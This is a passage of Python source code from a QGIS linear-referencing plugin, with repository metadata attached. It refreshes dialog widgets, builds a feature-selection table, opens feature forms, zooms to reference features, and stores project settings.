cl.geometryType() == qgis.core.QgsWkbTypes.PointGeometry and\n                                                (\n                                                    # database ...\n                                                        cl.dataProvider().name() not in ['ogr', 'virtual'] or\n                                                        (\n                                                            # ... or virtual and defined with the registered refLyr.id() and dataLyr.id() int its uri\n                                                            cl.dataProvider().name() == 'virtual' and\n                                                            self.ds.refLyr.id() in dep_lst and\n                                                            self.ds.dataLyr.id() in dep_lst\n                                                        )\n                                                )\n                                            )\n                                            if isinstance(cl, qgis.core.QgsVectorLayer):\n                                                geometry_item = QtGui.QStandardItem(qgis.core.QgsWkbTypes.displayString(cl.dataProvider().wkbType()))\n                                            else:\n                                                geometry_item = QtGui.QStandardItem(\"Raster\")\n\n                                            if isinstance(cl, qgis.core.QgsVectorLayer) and cl.dataProvider().name() != 'virtual':\n                                                provider_item = QtGui.QStandardItem(f\"{cl.dataProvider().name()} ({cl.dataProvider().storageType()})\")\n                                            else:\n                                                provider_item = QtGui.QStandardItem(cl.dataProvider().name())\n\n                                            items = [name_item, geometry_item, provider_item]\n                                            model.appendRow(items)\n\n                                    self.my_dialogue.qcbn_show_layer.set_model(model)\n\n                                    if self.ds.showLyr:\n                                        self.my_dialogue.qcbn_show_layer.select_by_value(0, 256, self.ds.showLyr)\n\n                                        model = QtGui.QStandardItemModel(0, 3)\n                                        idx = 0\n                                        for field in self.ds.showLyr.dataProvider().fields():\n                                            name_item = QtGui.QStandardItem(field.name())\n                                            name_item.setData(field, 256)\n                                            # numerical, but no PK and not one of the almost selected fields. Can a double-value be used as PK or Reference-key...?\n                                            name_item.setEnabled(\n                                                (self.ds.dataLyrIdField.type() in integer_field_types and field.type() in integer_field_types) or\n                                                field.type() == self.ds.dataLyrIdField.type()\n                                            )\n                                            # mark PK-Field with green check-icon\n                                            is_pk_item = QtGui.QStandardItem()\n                                            if idx in self.ds.refLyr.dataProvider().pkAttributeIndexes():\n                                                is_pk_item.setData(QtGui.QIcon(':icons/Green_check_icon_with_gradient.svg'), 1)  # DecorationRole\n                                            type_item = QtGui.QStandardItem(field.friendlyTypeString())\n                                            items = [name_item, type_item, is_pk_item]\n                                            model.appendRow(items)\n                                            idx += 1\n\n                                        self.my_dialogue.qcbn_show_layer_back_reference_field.set_model(model)\n\n                                        if self.ds.showLyrBackReferenceField:\n                                            self.my_dialogue.qcbn_show_layer_back_reference_field.select_by_value(0, 0, self.ds.showLyrBackReferenceField.name())\n\n            for widget in block_widgets:\n                widget.blockSignals(False)\n\n            self.my_dialogue.pb_open_ref_tbl.setEnabled(self.cf.reference_layer_defined)\n            self.my_dialogue.pb_call_ref_disp_exp_dlg.setEnabled(self.cf.reference_layer_defined)\n            self.my_dialogue.pb_open_data_tbl.setEnabled(self.cf.data_layer_defined)\n            self.my_dialogue.pb_call_data_disp_exp_dlg.setEnabled(self.cf.data_layer_defined)\n            self.my_dialogue.pb_open_show_tbl.setEnabled(self.cf.show_layer_defined)\n            self.my_dialogue.pb_call_show_disp_exp_dlg.setEnabled(self.cf.show_layer_defined)\n            self.my_dialogue.pbtn_create_show_layer.setEnabled(self.cf.reference_layer_complete and self.cf.data_layer_complete)\n            self.my_dialogue.pbtn_create_data_layer.setEnabled(self.cf.reference_layer_complete)\n\n    def dlg_refresh_measure_section(self):\n        \"\"\"refresh measure-part in dialog: Measure-Tab, Measure-Group-Box, without reference_layer_section\"\"\"\n        # Rev. 2023-05-03\n        if self.my_dialogue:\n            # filter-by-type-list for measure-field, this should be double, but could be integer\n\n            # adapt dialogue to Projection:\n            # projected vs. geographic CRS\n            # ➜ size-range, num digits, increments of QDoubleSpinBox, units...\n            if self.iface.mapCanvas().mapSettings().destinationCrs().isGeographic():\n                canvas_measure_unit = '[°]'\n            else:\n                canvas_measure_unit = '[m]'\n\n            if self.ds.refLyr and self.ds.refLyr.crs().isGeographic():\n                layer_measure_unit = '[°]'\n                layer_measure_prec = 6\n                layer_measure_step = 0.0001\n            else:\n                layer_measure_unit = '[m]'\n                layer_measure_prec = 2\n                layer_measure_step = 1\n\n            for unit_widget in self.my_dialogue.canvas_unit_widgets:\n                unit_widget.setText(canvas_measure_unit)\n\n            for unit_widget in self.my_dialogue.layer_unit_widgets:\n                unit_widget.setText(layer_measure_unit)\n\n            self.my_dialogue.dspbx_measure.default_step = layer_measure_step\n            self.my_dialogue.dspbx_measure.setDecimals(layer_measure_prec)\n\n            # disable/enable some functional widgets regarding the current status\n\n            self.my_dialogue.pbtn_resume_measure.setEnabled(self.cf.reference_layer_defined)\n\n            self.my_dialogue.dspbx_measure.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.dspbx_measure_fract.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.tbtn_move_up.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.tbtn_move_start.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.tbtn_move_down.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.tbtn_move_end.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.pbtn_move_point.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.pbtn_move_point.setChecked(self.cf.measure_completed and self.rs.tool_mode in ['before_move_point', 'move_point'])\n            self.my_dialogue.pb_pan_to_measure.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.le_snap_pt1_x.setEnabled(self.cf.measure_completed)\n            self.my_dialogue.le_snap_pt1_y.setEnabled(self.cf.measure_completed)\n\n            self.my_dialogue.qcbn_snapped_ref_fid.setEnabled(self.cf.reference_layer_defined)\n            self.my_dialogue.pb_open_ref_form.setEnabled(self.cf.reference_layer_defined)\n            self.my_dialogue.pb_zoom_to_ref_feature.setEnabled(self.cf.reference_layer_defined)\n\n            # set/clear form-widgets without trigger their signals\n            with QtCore.QSignalBlocker(self.my_dialogue.qcbn_snapped_ref_fid):\n                if self.cf.reference_layer_defined and self.rs.snapped_ref_fid is not None:\n                    self.my_dialogue.qcbn_snapped_ref_fid.select_by_value(0, 256, self.rs.snapped_ref_fid)\n                else:\n                    self.my_dialogue.qcbn_snapped_ref_fid.clear_selection()\n\n    def dlg_refresh_stored_settings_section(self):\n        \"\"\"re-populates the list with the stored Configurations in the dialog\"\"\"\n        # Rev. 2023-05-08\n        if self.my_dialogue:\n            self.my_dialogue.lw_stored_settings.clear()\n            for setting_idx in range(self._num_storable_settings):\n                key = f\"/PolEvtStoredSettings/setting_{setting_idx}/setting_label\"\n                setting_label, type_conversion_ok = qgis.core.QgsProject.instance().readEntry('LinearReferencing', key)\n                if setting_label and type_conversion_ok:\n                    qlwi = QtWidgets.QListWidgetItem()\n                    qlwi.setText(setting_label)\n                    qlwi.setData(256, setting_label)\n                    self.my_dialogue.lw_stored_settings.addItem(qlwi)\n\n    def dlg_refresh_feature_selection_section(self):\n        \"\"\"refreshes the Feature-Selection-List and buttons in dialog\"\"\"\n        # Rev. 2023-05-03\n        if self.my_dialogue:\n            # stored for the restore the sort-settings afterwards\n            prev_sort_col_idx = self.my_dialogue.qtw_selected_pks.horizontalHeader().sortIndicatorSection()\n            prev_sort_order = self.my_dialogue.qtw_selected_pks.horizontalHeader().sortIndicatorOrder()\n\n            # make unique\n            self.rs.selected_pks = list(dict.fromkeys(self.rs.selected_pks))\n\n            self.my_dialogue.qtw_selected_pks.setRowCount(0)\n            self.my_dialogue.qtw_selected_pks.setColumnCount(0)\n            self.my_dialogue.qtw_selected_pks.horizontalHeader().setVisible(False)\n\n            # QTableWidget with selected edit-PKs, Show-Layer not necessary, but taken into account\n            # signal/slot see:\n            # self.my_dialogue.qtw_selected_pks.itemPressed.connect(self.qtw_item_pressed)\n            if self.cf.reference_layer_complete and self.cf.data_layer_complete and len(self.rs.selected_pks) > 0:\n\n                edit_features = {}\n                # check self.rs.selected_pks: iterate through List of PKs and query features\n                for edit_pk in self.rs.selected_pks:\n                    if self.check_data_feature(edit_pk,False):\n                        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n                        ref_id = data_feature[self.ss.dataLyrReferenceFieldName]\n                        ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, ref_id)\n                        if self.cf.show_layer_complete:\n                            show_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.showLyr, self.ds.showLyrBackReferenceField, edit_pk)\n                            if show_feature and show_feature.isValid():\n                                edit_features[edit_pk] = [data_feature, ref_feature, show_feature]\n                            else:\n                                edit_features[edit_pk] = [data_feature, ref_feature, None]\n                        else:\n                            edit_features[edit_pk] = [data_feature, ref_feature, None]\n\n                self.rs.selected_pks = list(edit_features.keys())\n\n                self.my_dialogue.qtw_selected_pks.horizontalHeader().setVisible(True)\n                self.my_dialogue.qtw_selected_pks.setRowCount(len(self.rs.selected_pks))\n\n                # displayExpression() for single-field: \"field_name\"\n                # displayField() for same field: field_name (no quotes)\n                # complexer displayExpression()-sample: \"fid\" + \"line_ref_id\" (including all spaces, tabs, linebreaks...)\n                # displayField() for this expression: '' (empty string)\n                # Logic:\n                # Table with meaningful headers and contents,\n                #   1. use possibly defined displayExpressions in the two/three involved layers\n                #   2. PKs/IDs should always be recognizable, if they aren't already included in the displayExpression\n\n                header_labels = [\n                    'Data-Layer',\n                    'Reference-Layer + Measure'\n                ]\n\n                if self.cf.show_layer_complete:\n                    header_labels.append('Show-Layer')\n\n                self.my_dialogue.qtw_selected_pks.setColumnCount(len(header_labels))\n                self.my_dialogue.qtw_selected_pks.setHorizontalHeaderLabels(header_labels)\n\n                remove_icon = QtGui.QIcon(':icons/mIconClearTextHover.svg')\n                highlight_icon = QtGui.QIcon(':icons/mIconSelected.svg')\n                pan_icon = QtGui.QIcon(':icons/mActionPanToSelected.svg')\n                identify_icon = QtGui.QIcon(':icons/mActionIdentify.svg')\n\n                data_context = qgis.core.QgsExpressionContext()\n                # Features from Reference-Layer will show eith their PK and the evaluated displayExpression\n                data_display_exp = qgis.core.QgsExpression(self.ds.dataLyr.displayExpression())\n                data_display_exp.prepare(data_context)\n\n                ref_context = qgis.core.QgsExpressionContext()\n                ref_display_exp = qgis.core.QgsExpression(self.ds.refLyr.displayExpression())\n                ref_display_exp.prepare(ref_context)\n                if self.cf.show_layer_complete:\n                    show_context = qgis.core.QgsExpressionContext()\n                    show_display_exp = qgis.core.QgsExpression(self.ds.showLyr.displayExpression())\n                    show_display_exp.prepare(show_context)\n\n                rc = 0\n                integer_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong]\n                for edit_pk in edit_features:\n                    data_feature = edit_features[edit_pk][0]\n                    ref_feature = edit_features[edit_pk][1]\n                    show_feature = edit_features[edit_pk][2]\n\n                    data_pk = data_feature[self.ds.dataLyrIdField.name()]\n                    data_context.setFeature(data_feature)\n                    data_evaled_exp = data_display_exp.evaluate(data_context)\n                    data_label = f\"'{data_evaled_exp}'\"\n                    # expression with dataLyrIdField as single field\n                    if data_display_exp.isField() and self.ds.dataLyrIdField.name() in data_display_exp.referencedColumns():\n                        if self.ds.dataLyrIdField.type() in integer_field_types:\n                            data_label = f\"# {data_evaled_exp}\"\n\n\n                    data_measure = data_feature[self.ds.dataLyrMeasureField.name()]\n\n                    if self.ds.refLyr.crs().isGeographic():\n                        data_measure_rd = round(data_measure, 5)\n                    else:\n                        data_measure_rd = round(data_measure)\n\n                    ref_context.setFeature(ref_feature)\n                    ref_evaled_exp = ref_display_exp.evaluate(ref_context)\n                    ref_label = f\"'{ref_evaled_exp}'\"\n\n                    # expression with dataLyrIdField as single field\n                    if ref_display_exp.isField() and self.ds.refLyrPkField.name() in ref_display_exp.referencedColumns():\n                        if self.ds.refLyrPkField.type() in integer_field_types:\n                            ref_label = f\"# {ref_evaled_exp}\"\n\n\n                    show_back_ref_id = None\n                    show_label_plus = None\n\n                    if show_feature:\n                        show_back_ref_id = show_feature[self.ds.showLyrBackReferenceField.name()]\n                        show_context.setFeature(show_feature)\n                        show_evaled_exp = show_display_exp.evaluate(show_context)\n                        show_label_plus = f\"'{show_evaled_exp}'\"\n                        # expression with dataLyrIdField as single field\n                        if show_display_exp.isField() and self.ds.showLyrBackReferenceField.name() in show_display_exp.referencedColumns():\n                            if self.ds.showLyrBackReferenceField.type() in integer_field_types:\n                                show_label_plus = f\"# {show_evaled_exp}\"\n                        else:\n                            if self.ds.showLyrBackReferenceField.type() in integer_field_types:\n                                show_label_plus = f\"# {show_back_ref_id} {show_evaled_exp}\"\n                            else:\n                                show_label_plus = f\"'{show_back_ref_id}' {show_evaled_exp}\"\n\n                    # col 0 (the initial sort-column): line_reference from ... to\n                    cc = 0\n\n                    item = tools.MyQtWidgets.QTableWidgetItemCustomSort(256)\n                    item.setData(256, data_pk)\n\n                    item.setText(f\"{data_label}\")\n                    self.my_dialogue.qtw_selected_pks.setItem(rc, cc, item)\n\n                    c_wdg = QtWidgets.QWidget()\n                    c_wdg.setLayout(QtWidgets.QHBoxLayout())\n                    c_wdg.layout().setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter)\n                    c_wdg.layout().setContentsMargins(2, 0, 2, 0)\n                    c_wdg.layout().setSpacing(2)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(remove_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Remove feature from selection\"))\n                    qtb.clicked.connect(self.s_remove_from_feature_selection)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(highlight_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Highlight feature and select for edit\"))\n                    qtb.clicked.connect(self.s_highlight_edit_pk)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(pan_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Pan to feature and select for edit\"))\n                    qtb.clicked.connect(self.s_pan_edit_pk)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(identify_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Show feature-form\"))\n                    qtb.clicked.connect(self.s_open_data_form)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    self.my_dialogue.qtw_selected_pks.setCellWidget(rc, cc, c_wdg)\n\n                    cc += 1\n\n                    # Reference-Layer use expression and append ID, if not contained in expression\n                    item = tools.MyQtWidgets.QTableWidgetItemMultipleSort(256, 257)\n                    item.setData(256, ref_label)\n                    item.setData(257, data_measure)\n                    item.setText(f\"{ref_label} {data_measure_rd}\")\n                    self.my_dialogue.qtw_selected_pks.setItem(rc, cc, item)\n\n                    # Reference-Layer with highlight, zoom, identify, FID and Label-Expression\n                    c_wdg = QtWidgets.QWidget()\n                    c_wdg.setLayout(QtWidgets.QHBoxLayout())\n                    c_wdg.layout().setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter)\n                    c_wdg.layout().setContentsMargins(2, 0, 2, 0)\n                    c_wdg.layout().setSpacing(2)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(highlight_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Highlight reference-feature\"))\n                    qtb.clicked.connect(self.s_highlight_ref_feature_by_edit_pk)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(pan_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Zoom to reference-feature\"))\n                    qtb.clicked.connect(self.s_zoom_ref_feature_by_edit_pk)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    qtb = QtWidgets.QToolButton()\n                    qtb.setIcon(identify_icon)\n                    qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                    qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Show reference-feature-attribute-form\"))\n                    qtb.clicked.connect(self.s_open_ref_form_by_edit_pk)\n                    qtb.setProperty(\"edit_pk\", edit_pk)\n                    qtb.setFixedSize(QtCore.QSize(20, 20))\n                    c_wdg.layout().addWidget(qtb)\n\n                    self.my_dialogue.qtw_selected_pks.setCellWidget(rc, cc, c_wdg)\n\n                    if self.cf.show_layer_complete:\n                        cc += 1\n                        item = tools.MyQtWidgets.QTableWidgetItemCustomSort(256)\n                        item.setData(256, show_back_ref_id)\n                        item.setData(257, edit_pk)\n                        item.setText(show_label_plus)\n\n                        self.my_dialogue.qtw_selected_pks.setItem(rc, cc, item)\n\n                        c_wdg = QtWidgets.QWidget()\n                        c_wdg.setLayout(QtWidgets.QHBoxLayout())\n                        c_wdg.layout().setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter)\n                        c_wdg.layout().setContentsMargins(2, 0, 2, 0)\n                        c_wdg.layout().setSpacing(2)\n\n                        qtb = QtWidgets.QToolButton()\n                        qtb.setIcon(identify_icon)\n                        qtb.setCursor(QtCore.Qt.PointingHandCursor)\n                        qtb.setToolTip(QtCore.QCoreApplication.translate('PolEvt', \"Open attribute-form for Show-Layer\"))\n                        qtb.clicked.connect(self.s_open_show_form_by_edit_pk)\n                        qtb.setProperty(\"edit_pk\", edit_pk)\n                        qtb.setFixedSize(QtCore.QSize(20, 20))\n                        c_wdg.layout().addWidget(qtb)\n                        self.my_dialogue.qtw_selected_pks.setCellWidget(rc, cc, c_wdg)\n\n                    rc += 1\n\n                self.dlg_0 = tools.MyQtWidgets.LambdaDelegate(lambda val: \" \" * 30 + str(val))\n                self.my_dialogue.qtw_selected_pks.setItemDelegateForColumn(0, self.dlg_0)\n                self.dlg_1 = tools.MyQtWidgets.LambdaDelegate(lambda val: \" \" * 25 + str(val))\n                self.my_dialogue.qtw_selected_pks.setItemDelegateForColumn(1, self.dlg_1)\n\n                if self.cf.show_layer_complete:\n                    # only one icon ➜ less padding\n                    self.dlg_2 = tools.MyQtWidgets.LambdaDelegate(lambda val: \" \" * 10 + str(val))\n                    self.my_dialogue.qtw_selected_pks.setItemDelegateForColumn(2, self.dlg_2)\n\n                self.my_dialogue.qtw_selected_pks.resizeRowsToContents()\n                self.my_dialogue.qtw_selected_pks.resizeColumnsToContents()\n\n                # restore previous sort-settings\n                self.my_dialogue.qtw_selected_pks.sortItems(prev_sort_col_idx, prev_sort_order)\n\n            self.my_dialogue.pbtn_select_features.setEnabled(\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete and\n                self.cf.show_layer_complete\n            )\n            self.my_dialogue.pbtn_clear_features.setEnabled(\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete and\n                len(self.rs.selected_pks) > 0\n            )\n            self.my_dialogue.pbtn_zoom_to_feature_selection.setEnabled(\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete and\n                len(self.rs.selected_pks) > 0\n            )\n            self.my_dialogue.pbtn_insert_all_features.setEnabled(\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete\n            )\n            self.my_dialogue.pbtn_insert_selected_data_features.setEnabled(\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete\n            )\n            self.my_dialogue.pbtn_insert_selected_show_features.setEnabled(\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete and\n                self.cf.show_layer_complete\n            )\n            # checkable Pushbutton\n            with QtCore.QSignalBlocker(self.my_dialogue.pbtn_select_features):\n                self.my_dialogue.pbtn_select_features.setChecked(\n                    self.cf.reference_layer_complete and\n                    self.cf.data_layer_complete and\n                    self.cf.show_layer_complete and\n                    self.rs.tool_mode == 'select_features'\n                )\n\n    def s_open_data_form(self):\n        \"\"\"opens Data-form for dataLyr from selection-list-cell-widget, edit_pk stored as property\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n        if data_feature and data_feature.isValid():\n            self.iface.openFeatureForm(self.ds.dataLyr, data_feature, True)\n        else:\n            self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"no feature with ID {apos}{0}{apos} in Data-Layer {apos}{1}{apos}\"),edit_pk, self.ds.dataLyr.name()))\n\n    def s_highlight_edit_pk(self):\n        \"\"\"select for edit and pan to Feature from selection-list-cell-widget, edit_pk stored as property\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        self.set_edit_pk(edit_pk, False)\n\n    def s_remove_from_feature_selection(self):\n        \"\"\"removes this feature/row from self.rs.selected_pks/selection-list, edit_pk stored as property in cell-widget\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n\n        if edit_pk in self.rs.selected_pks:\n            self.rs.selected_pks.remove(edit_pk)\n            self.dlg_refresh_feature_selection_section()\n\n        if edit_pk == self.rs.edit_pk:\n            self.rs.edit_pk = None\n            self.dlg_refresh_edit_section()\n\n    def s_pan_edit_pk(self):\n        \"\"\"edit and pan to feature from selction-list\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        self.set_edit_pk(edit_pk, True)\n\n    def s_open_show_form_by_edit_pk(self):\n        \"\"\"opens feature-form for showLyr from selection-list, edit_pk stored as property in cell-widget\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n        if data_feature and data_feature.isValid():\n            show_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.showLyr, self.ds.showLyrBackReferenceField, edit_pk)\n            if show_feature and show_feature.isValid():\n                self.iface.openFeatureForm(self.ds.showLyr, show_feature, True)\n            else:\n                self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"no feature with value {apos}{0}{apos} in Back-Reference-field {apos}{1}{apos} of Show-Layer {apos}{2}{apos}\"),edit_pk, self.ds.showLyrBackReferenceField.name(), self.ds.showLyr.name()))\n\n    def s_open_ref_form_by_edit_pk(self):\n        \"\"\"opens feature-form for refLyr from selection-list, edit_pk stored as property in cell-widget\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n        if data_feature and data_feature.isValid():\n            ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, data_feature[self.ds.dataLyrReferenceField.name()])\n            if ref_feature and ref_feature.isValid():\n                self.iface.openFeatureForm(self.ds.refLyr, ref_feature, True)\n            else:\n                self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"no feature with value {apos}{0}{apos} in field {apos}{1}{apos} of Reference-Layer {apos}{2}{apos}\"),data_feature[self.ds.dataLyrReferenceField.name()], self.ds.dataLyrReferenceField.name(), self.ds.refLyr.name()))\n\n    def s_highlight_ref_feature_by_edit_pk(self):\n        \"\"\"highlights referenced line-feature from selection-list, edit_pk stored as property in cell-widget\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n        if data_feature and data_feature.isValid():\n            ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, data_feature[self.ds.dataLyrReferenceField.name()])\n            if ref_feature and ref_feature.isValid():\n                self.draw_reference_geom(ref_feature.id())\n            else:\n                self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"no feature with value {apos}{0}{apos} in field {apos}{1}{apos} of Reference-Layer {apos}{2}{apos}\"),data_feature[self.ds.dataLyrReferenceField.name()], self.ds.dataLyrReferenceField.name(), self.ds.refLyr.name()))\n\n    def s_zoom_ref_feature_by_edit_pk(self):\n        \"\"\"highlight and zoom to referenced line-feature from selection-list, edit_pk stored as property in cell-widget\"\"\"\n        # Rev. 2023-05-03\n        edit_pk = self.sender().property('edit_pk')\n        data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n        if data_feature and data_feature.isValid():\n            ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, data_feature[self.ds.dataLyrReferenceField.name()])\n            if ref_feature and ref_feature.isValid():\n                if ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                    extent = ref_feature.geometry().boundingBox()\n                    source_crs = self.ds.refLyr.crs()\n                    target_crs = self.iface.mapCanvas().mapSettings().destinationCrs()\n                    tr = qgis.core.QgsCoordinateTransform(source_crs, target_crs, qgis.core.QgsProject.instance())\n                    extent = tr.transformBoundingBox(extent)\n                    self.iface.mapCanvas().setExtent(extent)\n                    self.iface.mapCanvas().zoomByFactor(1.1)\n                    self.draw_reference_geom(ref_feature.id())\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Feature without geometry (Reference-Layer {apos}{0}{apos}, field {apos}{1}{apos}, value {apos}{2}{apos})\"),self.ds.refLyr.name(), self.ds.dataLyrReferenceField.name(), data_feature[self.ds.dataLyrReferenceField.name()]))\n        else:\n            self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"no feature with value {apos}{0}{apos} in field {apos}{1}{apos} of Reference-Layer {apos}{2}{apos}\"),data_feature[self.ds.dataLyrReferenceField.name()], self.ds.dataLyrReferenceField.name(), self.ds.refLyr.name()))\n\n    def store_settings(self):\n        \"\"\"store all permanent settings to project\n        the \"internal\" values (with underscores) are stored (with underscores too) and restored later\n        Triggered on unload and qgis.core.QgsProject.instance().writeProject(...) *before* the project is saved to file\n        \"\"\"\n        # Rev. 2023-04-27\n        # filter: startswith('_')\n        # => use \"hidden\" properties, not their property-setters\n        property_dict = {prop: getattr(self.ss, prop) for prop in dir(self.StoredSettings) if prop.startswith('_') and not prop.startswith('__')}\n\n        for prop_name in property_dict:\n            prop_value = property_dict[prop_name]\n            # other key then LolEvt\n            key = f\"/PolEvt/{prop_name}\"\n            if prop_value:\n                qgis.core.QgsProject.instance().writeEntry('LinearReferencing', key, prop_value)\n            else:\n                qgis.core.QgsProject.instance().removeEntry('LinearReferencing', key)\n\n    def unload(self):\n        \"\"\"triggered by LinearReference => unload() and project.close()\n        for project.close only necessary for the layer-actions, which are stored in project-file\n        all other Qt-Objects (signals/slots...) are destroyed with their owner (QApplication) and not saved to project-file\n        \"\"\"\n        # Rev. 2023-04-27\n\n        # check and write the settings back to project\n        self.check_settings()\n        self.store_settings()\n\n        self.disconnect_all_layers()\n\n        try:\n            # remove canvas-graphics\n            self.iface.mapCanvas().scene().removeItem(self.vm_pt_measure)\n            del self.vm_pt_measure\n            self.iface.mapCanvas().scene().removeItem(self.vm_pt_edit)\n            del self.vm_pt_edit\n            self.iface.mapCanvas().scene().removeItem(self.rb_ref)\n            del self.rb_ref\n            self.iface.mapCanvas().scene().removeItem(self.rb_selection_rect)\n            del self.rb_selection_rect\n\n            # remove dialog\n            self.my_dialogue.close()\n            del self.my_dialogue\n        except Exception as e:\n            # AttributeError: 'PolEvt' object has no attribute 'vm_pt_measure'\n            # print(f\"Expected exception in {gdp()}: \\\"{e}\\\"\")\n            pass\n\n    def flags(self):\n        \"\"\"reimplemented for tool_mode 'select_features' with ShiftModifier: disables the default-zoom-behaviour\n        see: https://gis.stackexchange.com/questions/449523/override-the-zoom-behaviour-of-qgsmaptoolextent\"\"\"\n        # Rev. 2023-05-03\n        return super().flags() & ~qgis.gui.QgsMapToolEmitPoint.AllowZoomRect\n", "repo_name": "Ludwig-K/QGisLinearReference", "sub_path": "map_tools/PolEvt.py", "file_name": "PolEvt.py", "file_ext": "py", "file_size_in_byte": 217539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "qgis.gui", "line_number": 13, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QUuid", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 19, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QUuid", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 20, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 43, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 43, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 55, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 55, "usage_type": 